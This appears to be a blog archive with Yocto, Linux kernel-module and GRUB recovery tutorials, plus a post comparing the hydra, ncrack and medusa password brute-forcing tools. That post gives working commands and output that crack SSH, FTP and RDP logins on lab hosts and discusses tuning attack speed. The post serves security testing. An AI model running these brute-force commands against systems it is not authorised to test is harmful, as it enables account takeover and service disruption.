Wednesday, 4 April 2018

Yocto with Theja


Best For Yocto / bitbake open embedded articles:

Development Environment Setup
Working with Bitbake Recipes
Managing meta layers
Embedded Distributions using Yocto
Peripherals and Libraries with Yocto
Customising Yocto
Error and Failures
Reference’s, Books and Documentation

Every thing is covered in below link:       

http://www.lynxbee.com/build-framework-articles/yocto-bitbake-openembedded-articles/

compile and install dts


Integrating Linux kernel module inside Linux kernel source and building it as part of kernel compilation


If you have already followed “Writing first Linux kernel Module and understanding Kernel module compilation, loading and unloading”, you might have already understood how to build simple kernel module for x86 which we compiled from outside kernel source code for a x86 system which was already running with linux kernel,
Now, Lets try to integrate same kernel module as part of Linux kernel source code, so we can also cross compile the same for ARM and also set an option to make it as part of kernel binary ( zImage/uImage) or build it as module using kernel build framework.
Follow, steps from “Cross Compilation and Booting of Linux kernel for Raspberry Pi3 – Manual Compilation” to clone kernel source code for Raspberry Pi, toolchain and setup the environment to cross compile kernel image zImage and modules from the default configuration.
 cd linux 
create a directory to write a kernel module as,
 mkdir drivers/helloworld/ 
Now, lets write our basic helloworld kernel module / device driver in drivers/helloworld/helloworld.c
 vim drivers/helloworld/helloworld.c 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <linux/module.h> /* Needed by all modules */
#include <linux/kernel.h> /* Needed for KERN_INFO */
#include <linux/init.h> /* Needed for the macros */
 
static int __init hello_init(void) {
        printk(KERN_INFO "Hello, world\n");
        return 0;
}
 
static void __exit hello_exit(void) {
        printk(KERN_INFO "Goodbye, world\n");
}
 
module_init(hello_init);
module_exit(hello_exit);
To, get this driver module compiled as part of kernel, we need to write Makefile and Kconfig file by following Linux kernel build mechanism, the contents of those files will be as below,
 vim drivers/helloworld/Makefile 
1
obj-$(CONFIG_HELLOWORLD) += helloworld.o
 vim drivers/helloworld/Kconfig 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#
# Helloworld driver as part of kernel source
#
 
menu "Helloworld Driver"
 
config HELLOWORLD
        depends on ARM
        tristate "helloworld module"
        default y
        help
          Helloworld kernel module integrated as part of kernel source.
 
endmenu
here, as part of Kconfig, we are telling the Kernel build framework, that this driver can have 3 states for configuration as, “not selected”, “y” i.e. selected as part of kernel image and “m” selected to build as kernel module which is indicated by “tristate” , configuration parameter “depends” tells build framework to select this kernel module if “ARM” has been selected, ( you can change as you want to set dependency ), parameter “default y” selects this Confifuration parameter HELLOWORLD as “CONFIG_HELLOWORLD=y” in the default configuration, where as “help” shows the respective information in “make menuconfig”
Now, we need to tell the kernel build framework to consider our newly created driver directory for the compilation, by appending following line into “drivers/Kconfig” as,
 vim drivers/Kconfig 
1
source "drivers/helloworld/Kconfig"
and
append following line to drivers/Makefile as,
 vim drivers/Makefile 
1
obj-$(CONFIG_HELLOWORLD)       += helloworld/
Now, we are ready to start the compilation of the kernel, currently because we have mentioned “config HELLOWORLD” as “default y” , if we do
 make ARCH=arm CROSS_COMPILE=arm-bcm2708-linux-gnueabi- menuconfig 
we will see following things in “Device Drivers —> Helloworld Driver —> <*> helloworld module” in “Help”

You can use space bar to select and deselect “helloworld module” for,
1. deselect as < > helloworld module
2. select as module, helloworld module
3. select as in built to kernel image as, <*> helloworld module
after selecting proper type as above, click “Exit” till you see following window,
  
                              Do you wish to save your new configuration?
                           │  (Press  to continue kernel configuration.)    │  
                           ├──────────────────────────────────────────────────────────┤  
                           │                   < Yes >      <  No  >         
select “yes” in this as if you open updated, .config file you will see a new option added as,
#
# Helloworld Driver
#
CONFIG_HELLOWORLD=y
Now, lets build kernel image, as
 $ make ARCH=arm CROSS_COMPILE=arm-bcm2708-linux-gnueabi- zImage
  CHK     include/config/kernel.release
  CHK     include/generated/uapi/linux/version.h
  CHK     include/generated/utsrelease.h
  CHK     include/generated/bounds.h
  CHK     include/generated/timeconst.h
  CHK     include/generated/asm-offsets.h
  CALL    scripts/checksyscalls.sh
  CHK     include/generated/compile.h

  CC      drivers/helloworld/helloworld.o
  LD      drivers/helloworld/built-in.o
  LD      drivers/built-in.o

  LD      vmlinux.o
  MODPOST vmlinux.o
  GEN     .version
  CHK     include/generated/compile.h
  UPD     include/generated/compile.h
  CC      init/version.o
  LD      init/built-in.o
  KSYM    .tmp_kallsyms1.o
  KSYM    .tmp_kallsyms2.o
  LD      vmlinux
  SORTEX  vmlinux
  SYSMAP  System.map
  OBJCOPY arch/arm/boot/Image
  Kernel: arch/arm/boot/Image is ready
  GZIP    arch/arm/boot/compressed/piggy_data
  AS      arch/arm/boot/compressed/piggy.o
  LD      arch/arm/boot/compressed/vmlinux
  OBJCOPY arch/arm/boot/zImage
  Kernel: arch/arm/boot/zImage is ready
Now to compile same driver as kernel module, select it as “m” in kernel menuconfig as,
 make ARCH=arm CROSS_COMPILE=arm-bcm2708-linux-gnueabi- menuconfig 
we will see following things in “Device Drivers —> Helloworld Driver —> helloworld module”
and then compile as,
$ make ARCH=arm CROSS_COMPILE=arm-bcm2708-linux-gnueabi- modules
  scripts/kconfig/conf  --silentoldconfig Kconfig
  CHK     include/config/kernel.release
  CHK     include/generated/uapi/linux/version.h
  CHK     include/generated/utsrelease.h
  CC      kernel/bounds.s
  CHK     include/generated/bounds.h
  CHK     include/generated/timeconst.h
  CC      arch/arm/kernel/asm-offsets.s
  CHK     include/generated/asm-offsets.h
  CALL    scripts/checksyscalls.sh
  CC      scripts/mod/empty.o
  MKELF   scripts/mod/elfconfig.h
  HOSTCC  scripts/mod/modpost.o
  CC      scripts/mod/devicetable-offsets.s
  GEN     scripts/mod/devicetable-offsets.h
  HOSTCC  scripts/mod/file2alias.o
  HOSTCC  scripts/mod/sumversion.o
  HOSTLD  scripts/mod/modpost
  GZIP    kernel/config_data.gz
  CHK     kernel/config_data.h
  UPD     kernel/config_data.h
  CC [M]  kernel/configs.o
  CC [M]  drivers/helloworld/helloworld.o
  Building modules, stage 2.
  MODPOST 1561 modules
  CC      drivers/helloworld/helloworld.mod.o
  LD [M]  drivers/helloworld/helloworld.ko
  CC      kernel/configs.mod.o
  LD [M]  kernel/configs.ko
Now, we have to install this modules for copying into hardware, to do that we have to create separate directory for output binaries and setting INSTALL_MOD_PATH to this directory,
 $ mkdir out 
 $ make ARCH=arm CROSS_COMPILE=arm-bcm2708-linux-gnueabi- modules_install INSTALL_MOD_PATH=./out 
So this will create a out directory with all

Writing first Linux kernel Module and understanding Kernel module compilation, loading and unloading

We will try to understand the simple kernel driver which initially we will compile for ubuntu host and later for a embedded hardware.
 $ mkdir module_workspace 
 $ vim hello.c 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <linux/module.h> /* Needed by all modules */
#include <linux/kernel.h> /* Needed for KERN_INFO */
#include <linux/init.h> /* Needed for the macros */
 
static int __init hello_init(void)
{
printk(KERN_INFO “Hello, world\n”);
return 0;
}
 
static void __exit hello_exit(void)
{
printk(KERN_INFO “Goodbye, world\n”);
}
 
module_init(hello_init);
module_exit(hello_exit);
Create a Makefile,
 $ vim Makefile

obj-m += hello.o

all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Now, compile this kernel module for ubuntu x86 based host,
$ make
make -C /lib/modules/3.19.0-30-generic/build M=/home/devbee/devlab/module_workspace modules
make[1]: Entering directory '/usr/src/linux-headers-3.19.0-30-generic'
CC [M] /home/devbee/devlab/module_wokspace/hello.o
Building modules, stage 2.
MODPOST 1 modules
CC /home/devbee/devlab/module_workspace/hello.mod.o
LD [M] /home/devbee/devlab/module_workspace/hello.ko
make[1]: Leaving directory '/usr/src/linux-headers-3.19.0-30-generic'
 $ ls
hello.c hello.mod.c hello.o modules.order
hello.ko hello.mod.o Makefile Module.symvers
 $ file hello.ko
hello.ko: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), BuildID[sha1]=2a1da63ae5631484cc4db328425ad533b8b7b5a0, not stripped
$ tree
.
├── hello.c
├── hello.ko
├── hello.mod.c
├── hello.mod.o
├── hello.o
├── Makefile
├── modules.order
└── Module.symvers

0 directories, 8 files
The “tree” command shows the output files generated during compilation process. Now, we will try to insert that module to kernel as,
$ sudo insmod ./hello.ko
Notice, the error if any, now you can check if the module is successfully inserted to the system,
$ dmesg
[ 2260.748252] hello: module license 'unspecified' taints kernel.
[ 2260.748261] Disabling lock debugging due to kernel taint
[ 2260.748315] hello: module verification failed: signature and/or required key missing - tainting kernel
[ 2260.748790] Hello, world
$ lsmod | grep hello
hello 16384 0
Notice that the module has been inserted into the system with some license warning, which we will try to understand ahead, lsmod shows the list of modules running.
Now, lets try to remove this module from kernel as below,
$ sudo rmmod hello
$ dmesg
[ 3026.031566] Goodbye, world
above dmesg command shows, rmmod command called “module_exit” from our driver and displayed the message.
Here, in above code we had got th e following warning,
$ dmesg
[ 2260.748252] hello: module license 'unspecified' taints kernel.
[ 2260.748261] Disabling lock debugging due to kernel taint
[ 2260.748315] hello: module verification failed: signature and/or required key missing - tainting kernel
This was due to missing LICENSE, so we added the following lines at the end of kernel module hello.c
MODULE_AUTHOR(“DEVBEE”);
MODULE_DESCRIPTION(“Hello World Example”);
MODULE_LICENSE(“GPL”);
Which will remove this warning.
$ make 
$ sudo insmod ./hello.ko 
$ dmesg
[ 4051.863842] Hello, world
In our next post, we will try to understand “Passing command line Arguments / Parameters to Linux kernel module

Understanding bbappend file and writing the bbappend bitbake recipe



A recipe that appends Metadata to another recipe is called a BitBake append file. A BitBake append file uses the .bbappend file type suffix, while the corresponding recipe to which Metadata is being appended uses the .bb file type suffix.
You can use a .bbappend file in your layer to make additions or changes to the content of another layer’s recipe without having to copy the other layer’s recipe into your layer. Your .bbappend file resides in your layer, while the main .bb recipe file to which you are appending Metadata resides in a different layer.
Being able to append information to an existing recipe not only avoids duplication, but also automatically applies recipe changes from a different layer into your layer. If you were copying recipes, you would have to manually merge changes as they occur.
When you create an append file, you must use the same root name as the corresponding recipe file. For example, the append file someapp_2.4.bbappend must apply to someapp_2.4.bb. This means the original recipe and append file names are version number-specific. If the corresponding recipe is renamed to update to a newer version, you must also rename and possibly update the corresponding .bbappend as well. During the build process, BitBake displays an error on starting if it detects a .bbappend file that does not have a corresponding recipe with a matching name. See the BB_DANGLINGAPPENDS_WARNONLY variable for information on how to handle this error.
As an example, consider the main formfactor recipe and a corresponding formfactor append file both from the Source Directory. Here is the main formfactor recipe, which is named formfactor_0.0.bb and located in the “meta” layer at meta/recipes-bsp/formfactor:

SUMMARY = "Device formfactor information"
SECTION = "base"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
PR = "r45"
S = "${WORKDIR}"
PACKAGE_ARCH = "${MACHINE_ARCH}"
INHIBIT_DEFAULT_DEPS = "1"
do_install() {
    # Install file only if it has contents
        install -d ${D}${sysconfdir}/formfactor/
        install -m 0644 ${S}/config ${D}${sysconfdir}/formfactor/
    if [ -s "${S}/machconfig" ]; then
            install -m 0644 ${S}/machconfig ${D}${sysconfdir}/formfactor/
    fi



In the main recipe, note the SRC_URI variable, which tells the OpenEmbedded build system where to find files during the build.

Following is the append file, which is named formfactor_0.0.bbappend and is from the Raspberry Pi BSP Layer named meta-raspberrypi. The file is in the layer at recipes-bsp/formfactor:
FILESEXTRAPATHS_prepend := “${THISDIR}/${PN}:”

By default, the build system uses the FILESPATH variable to locate files. This append file extends the locations by setting the FILESEXTRAPATHS variable. Setting this variable in the .bbappend file is the most reliable and recommended method for adding directories to the search path used by the build system to find files.
The statement in this example extends the directories to include ${THISDIR}/${PN}, which resolves to a directory named formfactor in the same directory in which the append file resides (i.e. meta-raspberrypi/recipes-bsp/formfactor. This implies that you must have the supporting directory structure set up that will contain any files or patches you will be including from the layer.
Using the immediate expansion assignment operator := is important because of the reference to THISDIR. The trailing colon character is important as it ensures that items in the list remain colon-separated.
Note
BitBake automatically defines the THISDIR variable. You should never set this variable yourself. Using “_prepend” as part of the FILESEXTRAPATHS ensures your path will be searched prior to other paths in the final list.
Also, not all append files add extra files. Many append files simply exist to add build options (e.g. systemd). For these cases, your append file would not even use the FILESEXTRAPATHS statement.

Reference –
http://www.lynxbee.com/yocto-understanding-bbappend-file-and-writing-the-bbappend-bitbake-recipe/
http://www.yoctoproject.org/docs/latest/mega-manual/mega-manual.html



Wednesday, 28 February 2018

Brute Forcing Passwords with ncrack, hydra and medusa


Ready to test a number of password brute forcing tools? Password's are often the weakest link in any system. Testing for weak passwords is an important part of security vulnerability assessments.
I am going to focus on tools that allow remote service brute forcing. These are typically Internet facing services that are accessible from anywhere in the world. Another type of password brute forcing is attacks against the password hash, using tools such as Hashcat a powerful tool that is able to crack encrypted password hashes on a local system.
The three tools I will assess are Hydra, Medusa and Ncrack (from nmap.org).
Installation of all three tools was straight forward on Ubuntu Linux. Use the standard method to compile an application from source.
wget https://nmap.org/ncrack/dist/ncrack-0.5.tar.gz
./configure
make
make install

wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz
./configure
make
make install

wget http://www.foofus.net/jmk/tools/medusa-2.0.tar.gz
./configure
make
make install
Then I grabbed a list of 500 passwords from skullsecurity.org. Of course you can find password lists with many thousands or even millions of passwords. You will need to chose what is the most appropriate for your password testing as factors such as target type and rate of testing will be major factors.
wget http://downloads.skullsecurity.org/passwords/500-worst-passwords.txt
The following tests were performed against a Linux Virtual Machine running on Virtualbox. Speed will vary depending on whether the target is local, the latency of the connection and even the processing power of the target system. Heavy brute forcing can impact a targets CPU potentially causing a denial of service condition. Take care if testing production systems.
The first series of tests was against SSH. I set the root account with the password toor. I added toor to the end of the 500 password list at number 499.
~# hydra -l root -P 500-worst-passwords.txt 10.10.10.10 ssh
Hydra v6.3 (c) 2011 by van Hauser / THC and David Maciejak - use allowed only for legal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2011-05-05 16:45:19
[DATA] 16 tasks, 1 servers, 500 login tries (l:1/p:500), ~31 tries per task
[DATA] attacking service ssh on port 22
[STATUS] 185.00 tries/min, 185 tries in 00:01h, 315 todo in 00:02h
[STATUS] 183.00 tries/min, 366 tries in 00:02h, 134 todo in 00:01h
[22][ssh] host: 10.10.10.10   login: root   password: toor
[STATUS] attack finished for 10.10.10.10 (waiting for children to finish)
Hydra (http://www.thc.org/thc-hydra) finished at 2011-05-05 16:48:08
Successfully found the password with Hydra!
~# ncrack -p 22 --user root -P 500-worst-passwords.txt 10.10.10.10

Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-05 16:50 EST
Stats: 0:00:18 elapsed; 0 services completed (1 total)
Rate: 0.09; Found: 0; About 6.80% done; ETC: 16:54 (0:04:07 remaining)
Stats: 0:01:46 elapsed; 0 services completed (1 total)
Rate: 3.77; Found: 0; About 78.40% done; ETC: 16:52 (0:00:29 remaining)

Discovered credentials for ssh on 10.10.10.10 22/tcp:
10.10.10.10 22/tcp ssh: 'root' 'toor'

Ncrack done: 1 service scanned in 138.03 seconds.

Ncrack finished.
Successfully found the password with Ncrack!
# medusa -u root -P 500-worst-passwords.txt -h 10.10.10.10 -M ssh
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks 

ACCOUNT CHECK: [ssh] Host: 10.10.10.10 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (1 of 500 complete)
ACCOUNT CHECK: [ssh] Host: 10.10.10.10 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: password (2 of 500 complete)

<< --- SNIP --->>>

ACCOUNT CHECK: [ssh] Host: 10.10.10.10 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: billy (498 of 500 complete)
ACCOUNT CHECK: [ssh] Host: 10.10.10.10 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: toor (499 of 500 complete)
ACCOUNT FOUND: [ssh] Host: 10.10.10.10 User: root Password: toor [SUCCESS]
~ 1500 seconds
Success again with Medusa, however it took over 10 times as long with the default settings of each tool.
Lets try and speed things up a bit. cranking up Medusa speed to use 5 concurrent logins fails with the following error:
ACCOUNT CHECK: [ssh] Host: 10.10.10.10 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: mustang (7 of 500 complete)
medusa: ath.c:193: _gcry_ath_mutex_lock: Assertion `*lock == ((ath_mutex_t) 0)' failed.
Aborted
Trying Ncrack at a faster rate was a bit faster but not much.
ncrack -p ssh -u root -P 500-worst-passwords.txt -T5 10.10.10.10

Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-06 09:04 EST

Discovered credentials for ssh on 10.10.10.10 22/tcp:
10.10.10.10 22/tcp ssh: 'root' 'toor'

Ncrack done: 1 service scanned in 128.98 seconds.

Ncrack finished.
Is Hydra any faster? Here I added the option for 32 threads.
$ hydra -t 32 -l root -P 500-worst-passwords.txt 10.10.10.10 ssh
Hydra v6.3 (c) 2011 by van Hauser / THC and David Maciejak - use allowed only for legal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2011-05-06 12:44:03
[DATA] 32 tasks, 1 servers, 500 login tries (l:1/p:500), ~15 tries per task
[DATA] attacking service ssh on port 22
[STATUS] 184.00 tries/min, 184 tries in 00:01h, 316 todo in 00:02h
[STATUS] 185.50 tries/min, 371 tries in 00:02h, 129 todo in 00:01h
[STATUS] attack finished for 10.10.10.10 (waiting for children to finish)
[22][ssh] host: 10.10.10.10   login: root   password: toor
Hydra (http://www.thc.org/thc-hydra) finished at 2011-05-06 12:46:57
No change really. Perhaps the limiting factor for Hydra and Ncrack is the speed of response from the VirtualBox machine. Either way it appears the default speed is pretty good for both tools.
Now to try hitting the FTP server on the same host (vsftpd).
ncrack -u test -P 500-worst-passwords.txt 10.10.10.10 -p 21

Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-06 12:53 EST
Stats: 0:00:40 elapsed; 0 services completed (1 total)
Rate: 5.94; Found: 0; About 47.20% done; ETC: 12:54 (0:00:45 remaining)
Stats: 0:00:59 elapsed; 0 services completed (1 total)
Rate: 6.93; Found: 0; About 88.00% done; ETC: 12:54 (0:00:08 remaining)

Discovered credentials for ftp on 10.10.10.10 21/tcp:
10.10.10.10 21/tcp ftp: 'test' 'toor'

Ncrack done: 1 service scanned in 69.01 seconds.
Attempting to push it faster....
$ ncrack -u test -P 500-worst-passwords.txt -T 5 10.10.10.10 -p 21

Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-06 12:55 EST
Stats: 0:00:03 elapsed; 0 services completed (1 total)
Rate: 0.00; Found: 0; About 0.00% done
Stats: 0:00:06 elapsed; 0 services completed (1 total)
Rate: 0.00; Found: 0; About 0.00% done

Discovered credentials for ftp on 10.10.10.10 21/tcp:
10.10.10.10 21/tcp ftp: 'test' 'toor'

Ncrack done: 1 service scanned in 66.01 seconds.
Same result. Limiting factor is likely the VM.
$ hydra -l root -P 500-worst-passwords.txt 10.10.10.10 ftp
Hydra v6.3 (c) 2011 by van Hauser / THC and David Maciejak - use allowed only for legal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2011-05-06 13:07:43
[DATA] 16 tasks, 1 servers, 500 login tries (l:1/p:500), ~31 tries per task
[DATA] attacking service ftp on port 21

Error: Not an FTP protocol or service shutdown: 500 OOPS: priv_sock_get_cmd
Error: Not an FTP protocol or service shutdown: 500 OOPS: priv_sock_get_cmd

[STATUS] 219.00 tries/min, 219 tries in 00:01h, 281 todo in 00:02h
Error: Not an FTP protocol or service shutdown: 500 OOPS: priv_sock_get_cmd

Error: Not an FTP protocol or service shutdown: 500 OOPS: priv_sock_get_cmd
[STATUS] 233.06 tries/min, 470 tries in 00:02h, 30 todo in 00:01h
[STATUS] attack finished for 10.10.10.10 (waiting for children to finish)
Hydra (http://www.thc.org/thc-hydra) finished at 2011-05-06 13:09:56
Oops, did we crash the FTP service?
Now testing with Medusa.
~$ medusa -u test -P 500-worst-passwords.txt -h 10.10.10.10 -M ftp
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks 

ACCOUNT CHECK: [ftp] Host: 10.10.10.10 (1 of 1, 0 complete) User: test (1 of 1, 0 complete) Password: 123456 (1 of 500 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.10.10 (1 of 1, 0 complete) User: test (1 of 1, 0 complete) Password: password (2 of 500 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.10.10 (1 of 1, 0 complete) User: test (1 of 1, 0 complete) Password: 12345678 (3 of 500 complete)
ERROR: [ftp.mod] failed: medusaReceive returned no data. Server may have dropped connection due to lack of encryption. Enabling the EXPLICIT mode may help.
CRITICAL: Unknown ftp.mod module state -1
Medusa also appears to be struggling.
Lets go back and check again with ncrack to ensure the service is still ok.
~$ ncrack -u test -P 500-worst-passwords.txt -T 5 10.10.10.10 -p 21

Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-06 13:14 EST

Discovered credentials for ftp on 10.10.10.10 21/tcp:
10.10.10.10 21/tcp ftp: 'test' 'toor'

Ncrack done: 1 service scanned in 62.99 seconds.

Ncrack finished.
ncrack for the win!
ncrack has the ability to also brute force RDP accounts. So lets now hit a Windows box with Microsoft Remote Desktop Protocol enabled.
$ ncrack -u administrator -P 500-worst-passwords.txt -p 3389 10.212.50.21

Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-06 13:26 EST
Stats: 0:02:18 elapsed; 0 services completed (1 total)
Rate: 0.02; Found: 0; About 3.40% done; ETC: 14:33 (1:05:21 remaining)
Stats: 0:15:07 elapsed; 0 services completed (1 total)
Rate: 0.20; Found: 0; About 13.80% done; ETC: 15:15 (1:34:25 remaining)
Stats: 0:22:19 elapsed; 0 services completed (1 total)
Rate: 0.02; Found: 0; About 19.40% done; ETC: 15:21 (1:32:43 remaining)
Stats: 0:24:46 elapsed; 0 services completed (1 total)

Discovered credentials for rdp on 10.212.50.21 3389/tcp:
10.212.50.21 3389/tcp rdp: 'administrator' 'toor'

Ncrack done: 1 service scanned in 6072 seconds.
Protocol support varies for the different tools:
Hydra - TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL, REXEC, irc, RSH, RLOGIN, CVS, SNMP, SMTP, SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS, XMPP, ICQ, SAP/R3, LDAP2, LDAP3, Postgres, Teamspeak, Cisco auth, Cisco enable, AFP, Subversion/SVN, Firebird, LDAP2, Cisco AAA

Medusa -  AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NetWare NCP, NNTP, PcAnywhere, POP3, PostgreSQL, REXEC, RLOGIN, RSH, SMBNT, SMTP-AUTH, SMTP-VRFY, SNMP, SSHv2, Subversion (SVN), Telnet, VMware Authentication Daemon (vmauthd), VNC, Generic Wrapper,
Web Form

Ncrack - RDP, SSH, http(s), SMB, pop3(s), VNC, FTP, telnet
There is much more that could be tested for a more comprehensive review. Other protocols, different targets, latency and Further tweaking of the scan speeds and threads.
While ncrack has limited protocol support compared to Hydra and Medusa the only conclusion for this little test; when it comes to speed, reliability and the ability to hit RDP services ncrack wins!!

Tuesday, 6 February 2018

Recover from a failed Linux boot

Most Linux computers use the Grand Unified Bootloader (GRUB) — more specifically, GRUB 2 — to control the handoff from the computer's firmware to the kernel. GRUB 2 provides sophisticated boot-time user-interaction features that give you control over the boot process. You probably won't use these features every day, but they can be important in handling problem situations — such as a failure of the computer to boot after a kernel upgrade, disk swap, or other system change. A few tips and GRUB commands can help you boot the computer in such situations and save valuable time. You can also use emergency boot disks to boot your normal Linux installation even if a problem occurs with the regular initial stages of boot loader activation.
Broadly speaking, GRUB recovery addresses two types of problems: problems that you can solve by using GRUB's built-in shell and those that require an external tool. I cover both types of problems in this article, with the Super GRUB2 Disk as an example of an external tool that you can use when necessary. (This article emphasizes GRUB 2, but some of the information presented here applies to GRUB Legacy too. Read about the differences between GRUB Legacy and GRUB 2 in "Migrate to GRUB 2.")

Understanding GRUB 2's control structures

Before delving into recovery details, you should understand some basics of how GRUB works. A computer's boot process is complex, and knowing something about the boot path can help you solve problems if the boot process veers from that path. I'll begin by describing where boot code and GRUB files reside on a computer so that you can find them — or identify what might be missing if a problem is caused by a missing file. A complete description of the GRUB configuration file format is beyond this article's scope, but I do cover the configuration basics, which can help you correct simple errors (such as an incorrectly specified root file system).

Finding GRUB files

The boot process on most computers that use the Basic Input/Output System (BIOS) involves code that's stored in various locations on the disk. These locations include the Master Boot Record (MBR), officially unallocated disk sectors, and the partition's boot sector (also known as the Partition Boot Record [PBR]). These records can be overwritten by other boot loaders, overwritten by a virus or a low-level disk utility with needs that conflict with GRUB's, or damaged by misuse of a low-level utility such as dd. When such damage occurs, GRUB is unlikely to start at all, and you might need to use a tool such as Super GRUB2 Disk.
Many newer computers use the Extensible Firmware Interface (EFI) rather than BIOS. On such systems, GRUB code isn't stored in the MBR, PBR, or officially unallocated disk sectors. Instead, it is in an EFI boot loader file with an .efi extension on the EFI System Partition (ESP) — a partition with a File Allocation Table (FAT) format that typically appears at the start of the disk. EFI systems aren't susceptible to the same types of low-level boot loader damage as BIOS systems, but they can malfunction because of changes to the computer's non-volatile RAM (NVRAM) settings. In such cases, you might need to perform an emergency boot and then use the efibootmgr utility to restore GRUB as the default boot loader.
In addition to the low-level BIOS or EFI boot files, GRUB 2 relies on conventional files in /boot/grub. These include file system drivers, video drivers, fonts, and the GRUB configuration file (grub.cfg). Because these files reside in a normal Linux file system, the earlier boot stages must include at least one rudimentary Linux file system driver. If these files are damaged, GRUB might launch normally but be unable to start your operating system; or GRUB might start up and present nothing but a grub> prompt.

Editing the configuration file

On most systems, the GRUB 2 configuration file is /boot/grub/grub.cfg or /boot/grub2/grub.cfg. However, some EFI-based installations place it in a directory on the ESP. This might be /boot/efi/EFI/grub/grub.cfg or some other similar location. But in most cases, the grub.cfg file isn't meant to be edited directly; instead, it's pieced together by scripts. You can find some of the component pieces in the /etc/grub.d directory. If you need to make changes to your standard GRUB 2 configuration, edit those files.
However it's built, grub.cfg consists of both global options and OS- or kernel-specific boot stanzas. Linux distributions set up their global GRUB 2 configurations properly for most computers. If you have an unusual configuration, you might need to study your global GRUB 2 configuration to find the cause of a problem.
GRUB 2's boot stanzas define individual OSs or kernels. The boot stanzas typically appear in the last half of the grub.cfg file. Listing 1 shows an example:
Listing 1. Example GRUB 2 stanza to boot Linux
1
2
3
4
5
6
7
8
9
10
11
menuentry 'Ubuntu, with Linux 3.2.0-24-generic-pae' {
   recordfail
   gfxmode $linux_gfx_mode
   insmod gzio
   insmod part_gpt
   insmod reiserfs
   set root='(hd0,gpt6)'
   search --no-floppy --fs-uuid --set=root 313324f5-a9ed-4e80-b541-dc9e5eeb89fc
   linux   /vmlinuz-3.2.0-23-generic-pae root=/dev/sda7 ro quiet splash $vt_handoff
   initrd  /initrd.img-3.2.0-23-generic-pae
}
Some key points about the entry in Listing 1 include:
  • The insmod command loads the driver modules.
  • The set root line identifies the partition from which the kernel and initial RAM disk are read, but the search line then overrides this value and locates the partition by the Universally Unique Identifier (UUID) number of the file system that it contains.
  • The linux line identifies a Linux kernel and sets the options that are passed to it.
  • The initrd line identifies an initial RAM disk file that's passed to the kernel.

Interacting with GRUB 2 at boot time

To be able to fix problems, you should first understand the normal boot process and the ways in which you can adjust it. Frequently, you can fix minor problems by using GRUB 2's built-in editor to tweak your boot options. You can sometimes recover from more-serious problems by using GRUB 2's built-in shell.

Understanding the normal boot process

Traditionally, GRUB displays a text-mode menu, similar to the one shown in Figure 1, that displays your boot options. (On many installations today, GRUB hides this menu unless you press a key.)
Figure 1. The GRUB menu
Screen capture of the simple GRUB text-mode menu displaying your boot options.     In this example, the options are Ubuntu, Ubuntu (recovery mode), previous Linux     versions, and two memory tests.In a normal boot, you use the up- and down-arrow keys to navigate through the menu and then select your desired entry by pressing Enter. On Linux systems, GRUB then loads the kernel and initial RAM disk and passes control of the computer to the kernel.

Changing your boot options

If you get to a GRUB menu similar to the one shown in Figure 1 but your selection fails to start, there might be a problem with the boot entry. GRUB includes a simple text editor so that you can make temporary changes your boot stanzas at runtime. To change your boot options, select the entry in the GRUB menu that's closest to what you want to achieve and then press the e key. The result resembles Figure 2:
Figure 2. The GRUB text editor
Screen capture of a boot stanza appearing in the GRUB text editorThe lines in Figure 2 are the same as those in the boot stanza in Listing 1. You can edit these entries much as if you were using a text-mode text editor in Linux. Any changes that you make in this editor are temporary. (To learn how make your changes permanent, see Making permanent repairs, later in this article.)
One common reason to edit a boot stanza in the text editor is to make a one-boot change. For instance, suppose that you want to boot into single-user mode to perform low-level maintenance, but there's no single-user entry in GRUB. You can achieve your goal by editing the boot stanza and adding single to the end of the linux line. When you're done, press Ctrl-x or F10 to boot, as the prompt at the bottom of the screen reminds you.
If you create a new GRUB entry and it fails to start, you might be able to discover the problem by examining the boot entry. Perhaps the entry contains a typo, such as linu instead of linux. Maybe you omitted the initrd line. Perhaps you specified the wrong root file system. You might be able to correct such problems by using your knowledge of your system and of GRUB 2 configuration generally. In other cases, though, you might lack critical knowledge. For instance, you might need to learn what your root file system's identifier is. In such cases, or when problems are more severe, you can use the GRUB 2 shell.

Using the GRUB 2 shell

GRUB includes its own built-in shell where you can type commands similar to those you can type in Bash or other Linux text-mode shells. The GRUB shell is simple by Linux standards, but it's adequate for many emergency maintenance tasks. To enter the shell from the GRUB main menu (Figure 1), press c. To enter the shell from the GRUB editor (Figure 2), press Ctrl-c or F2. The result resembles Figure 3:
Figure 3. The GRUB shell
